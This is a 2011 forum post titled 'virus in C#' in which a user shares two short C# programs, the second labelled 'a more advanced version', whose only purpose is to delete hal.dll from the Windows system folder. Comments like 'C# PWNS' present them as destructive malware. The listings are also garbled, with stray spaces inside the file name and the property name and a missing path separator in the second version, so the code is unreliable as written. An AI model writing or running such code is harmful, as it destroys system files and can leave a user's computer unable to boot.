[ Updated threads · New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Forums » ..:: Programming ::.. » C , C#, C++ » virus in C#
virus in C#
ShivaDate: Friday, 26-08-2011, 4:04 PM | Message # 1
SDM Mega Member
Group: Users
Messages: 171
Awards: 1
Reputation: 2
Status:
Code
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HallDel
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete("C:\\Windows\\system32\\hal. dll"); /* C# PWNS */
}
}
}

A more advanced version:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HalDelPro
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete(System.Environment.SystemDir ectory + "hal.dll"); /* C# OWNS*/
}
}
}
[hide]
 
Forums » ..:: Programming ::.. » C , C#, C++ » virus in C#
  • Page 1 of 1
  • 1
Search: